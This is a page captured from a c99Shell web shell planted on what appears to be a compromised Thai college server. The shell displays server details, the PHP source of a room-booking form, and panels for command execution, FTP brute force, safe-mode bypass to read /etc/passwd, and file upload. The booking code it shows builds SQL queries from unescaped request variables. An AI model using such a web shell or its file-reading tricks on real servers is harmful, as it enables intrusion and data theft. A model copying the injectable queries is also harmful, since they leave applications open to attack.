!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailFormRoom.php (15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
            require_once( 
"../calendar/check.php" );
            
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "room_rent";

/**  Table  -->  personal_tb  */
        
$query " SELECT *, prefixName as First_name FROM prefix LEFT JOIN personal_tb ON personal_tb.First_name = prefix.prefixId  LEFT JOIN faculty_tb ON faculty_tb.Faculty_code=personal_tb.Faculty_code  WHERE Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
//$Teacher_code = $rss['Teacher_code'];
        
        /**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE   Rent_code='$Rent_code'  AND Teacher_code = '$Teacher_code'   ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);

        
$sql "Select * From  college Where collegeStatus ='1'";
        
$result1 mysql_query($sql) or die("Error".mysql_error());
        
$rs2 mysql_fetch_array($result1);

    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - แก้ไขข้อมูลแผนการสอน</title>
<style type="text/css">
<!--
.style21 {font-size: 14px}
.style11 {font-size: 14px;
    font-family: Tahoma;
}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="774" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
  
    <td width="774" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="735" border="0" align="center" cellpadding="0" cellspacing="0">
      <form id="pc" name="pc" method="post" action="EditFromA.php?Teacher_code=<?=$Teacher_code;?>&Training_code=<?=$Training_code;?>&codeId=<?=$codeId;?>">
      <tr>
        <td width="735" height="5"></td>
      </tr>
      <tr>
        <td align="center">
          <?php

        ?>
          <table width="713" align="center" cellpadding="0" cellspacing="0">
            <tr height="31">
              <td height="31" colspan="6" align="center" class="PATRON11"><table width="707" border="0">
                <tr>
                  <th width="151" height="63" scope="col"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style21"><img src="../picture/krud.jpg" width="70" height="61" border="0" align="absmiddle" /></span></font></th>
                  <th width="402" align="center" scope="col">ใบขออนญาตใช้ห้องประชุม</th>
                  <th width="140" align="right" scope="col">&nbsp;</th>
                  </tr>
                </table></td>
            </tr>
            <tr height="29">
              <td height="24" colspan="4" align="left">&nbsp;</td>
              <td height="24" align="right">
                <input name="Rent_date" type="text" id="Rent_date" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" size="30"  value=" <?php echo dateThai($rs1['Rent_date']); ?>" />
                </td>
            </tr>
          <tr height="29">
            <td height="24" colspan="5" align="left">ส่วนราชการ ภาค/ฝ่าย
              <input name="Name4" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<?= $rss['Faculty_name'];?>  " readonly/>
<?=$rs2["collegeName"];?>            </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">เรื่อง&nbsp;&nbsp;</a>
              <input name="Da" type="text" id="Da" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขอใช้ห้องประชุม" size="20" /></td>
            <td width="3"></td>
            <td width="317"></td>
            <td width="1"></td>
            </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
              <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
              </font></td>
            <td></td>
            </tr>
          <tr height="29">
            <td width="58" height="25"></td>
            <td colspan="5" align="left">ด้วย ภาค/ฝ่าย/หน่วย/ศูนย์</a>
              <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70"  value="<?= $rss['Faculty_name'];?>" readonly/>
              มีความประสงค์จะขอใช้</td>
            </tr>
          <tr height="29">
            <td height="36" colspan="6" align="left">                
              <table width="753">
                <tr>
                  <td><p>ห้องประชุมที่</p></td>
                  <td colspan="5">
                  <?                $strSQL " SELECT * FROM  room_tb    ";
                                    
$result4 mysql_query($strSQL);
                                    
$rs4 mysql_fetch_array($result4); ?>
                          <input name="Room_code" type="text" id="Room_code" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="100" value="<?= $rs1['Room_code']."&nbsp;&nbsp;&nbsp;".$rs4['Room_type'];?>" />
                  </td>
                  </tr>
                <tr>
                  <td width="92">ในระหว่างวันที่</td>
                  <td width="180">
                      <input name="Date_start" type="text" id="Date_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value=" <?php echo dateThai($rs1['Date_start']); ?>" />
                    </td>
                  <td width="112">
                    เวลา
                    <input name="Time_start" type="text" id="Time_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="5" maxlength="5" onkeypress="return checkNumeric();" value="<?=$rs1['Time_start'];?>" />
                    น.
                    </td>
                    <td width="42">ถึงวันที่</td>
                  <td width="192">
                          <input name="Date_finish" type="text" id="Date_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<?php echo dateThai($rs1['Date_finish']); ?>" />
                    </td>
                  <td width="107">
                    เวลา
                    <input name="Time_finish" type="text" id="Time_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="5" maxlength="5" onkeypress="return checkNumeric();"  value="<?=$rs1['Time_finish'];?>" />
                    น.
                    </td>
                  </tr>
                </table> 
              </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">เพื่อจัดประชุม/อบรม/สัมนา เรื่อง<a>
              <input name="Topic" type="text" id="Topic" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="96" value="<?=$rs1['Topic'];?>" />
              </a>
              </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">จำนวน
              <input name="Make" type="text" id="Make" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" size="20" maxlength="4"  value="<?=$rs1['Make'];?>"/>
              คน    โดยมีรายละเอียดในการขอใช้ห้องประชุม ดังนี้</td>
            </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="left">
              <input type="checkbox" name="Check_format" value="1" <? if ($rs1["Check_format"] == 1) echo "checked"?> />
              จัดรูปแบบห้องประชุม
              </td>
            <td height="29" align="left" colspan="4">
              <input name="Detail_format"  type="text" id="Detail_format" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="90"  value="<?=$rs1['Detail_format'];?>"/>
              </td>
          </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="left">
                    <input type="checkbox" name="Check_tool" value="2"  <? if ($rs1["Check_tool"] == 2) echo "checked"?>/>
                    อุปกรณ์โสตทัศนูปกรณ์
            </td>
            <td height="29" align="left" colspan="4">
                    <input name="Detail_tool" type="text" id="Detail_tool" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="90" value="<?=$rs1['Detail_tool'];?>"/>
            </td>
          </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="left">
                    <input type="checkbox" name="Check_food" value="3" <? if ($rs1["Check_food"] == 3) echo "checked"?> />
                    อาหารว่างและเครื่องดื่ม
            </td>
            <td height="29" align="left" colspan="4">
                    <input name="Detail_food" type="text" id="Detail_food" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="90" value="<?=$rs1['Detail_food'];?>"/>
            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จึงเรียนมาเพื่อโปรดอนุญาตและดำเนินการต่อไปด้วย จะเป็นพระคุณ</td>
          </tr>
          <tr height="29">
            <td height="49" colspan="6" align="left"><p>&nbsp;</p></td>
          </tr>
          <tr height="31">
            <td height="23" colspan="3" align="left"></td>
            <td>&nbsp;</td>
            <td align="center">ลงชื่อ................................................</td>
            <td></td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td></td>
            <td align="center">(&nbsp;<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> )
              <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss[Teacher_code];?>" /></td>
            <td></td>
            </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td colspan="3" align="center">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<? //$PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$rss[PositionId]'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
              </font></td>
            </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td colspan="3" align="center">&nbsp;</td>
          </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td width="158">&nbsp;</td>
            <td width="230">&nbsp;</td>
            <td colspan="3" align="center"><span class="style13">ความเห็นหัวหน้าหน่วยงาน</span></td>
            </tr>
          <tr height="29">
            <td height="16" colspan="2" align="center">&nbsp;</td>
            <td></td>
            <td colspan="3" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29"></td>
            <td></td>
            <td colspan="2"></td>
            <td colspan="2" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<label>
              <input type="radio" name="radio" value="Y" />
              </label>
              อนุญาต&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <input type="radio" name="radio" value="N" />
              ไม่อนุญาต<br/><br/>
              เนื่องจาก 
             <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40" /> </td>
          </tr>
          <tr height="31">
            <td height="23" colspan="3" align="left"></td>
            <td>&nbsp;</td>
            <td align="center">&nbsp;</td>
            <td></td>
          </tr>
          <tr height="31">
            <td height="23" colspan="3" align="left"></td>
            <td>&nbsp;</td>
            <td align="center">ลงชื่อ...................................................</td>
            <td></td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td></td>
            <td align="center">( .................................................. )              </td>
            <td></td>
            </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td colspan="3" align="center">ตำแหน่ง ......................................................</td>
            </tr>
            <tr height="31">
              <td height="10" colspan="6" align="center">&nbsp;</td>
            </tr>
            </table></td>
      </tr>
      </form>
    </table>
   </fieldset></td>
  </tr>
</table>

</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0137 ]--